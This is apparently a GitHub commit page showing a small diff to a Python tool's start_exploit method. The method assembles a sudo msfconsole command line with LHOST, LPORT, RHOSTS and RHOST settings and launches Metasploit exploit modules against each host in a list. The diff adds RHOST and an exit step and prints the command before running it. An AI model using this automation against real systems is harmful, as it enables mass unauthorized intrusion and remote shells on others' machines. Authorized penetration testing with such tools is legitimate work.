File tree 1 file changed +5
-4
lines changed
1 file changed +5
-4
lines changed Original file line number Diff line number Diff line change @@ -42,7 +42,7 @@ def start_exploit(self):
42
42
template = (
43
43
"sudo {} {} -x 'workspace -a {}; "
44
44
"setg LHOST {}; setg LPORT {}; setg VERBOSE "
45
- "true; setg THREADS 100; set RHOSTS {}; use {} -j;'"
45
+ "true; setg THREADS 100; set RHOSTS {}; set RHOST {}; use {} -j; exit -y '"
46
46
)
47
47
for host in self .hosts :
48
48
for mod in self .mods :
@@ -51,10 +51,11 @@ def start_exploit(self):
51
51
mod .strip (), host .strip ()
52
52
)
53
53
)
54
- template = template .format (
54
+ cmd = template .format (
55
55
"ruby" if self .ruby_exec else "" ,
56
56
self .msf_path if self .msf_path is not None else "msfconsole" ,
57
57
self .configuration [0 ], self .configuration [1 ], self .configuration [2 ],
58
- host .strip (), mod .strip ()
58
+ host .strip (), host . strip (), mod .strip ()
59
59
)
60
- lib .settings .cmdline (template )
60
+ print (cmd )
61
+ lib .settings .cmdline (cmd )
You can’t perform that action at this time.
0 commit comments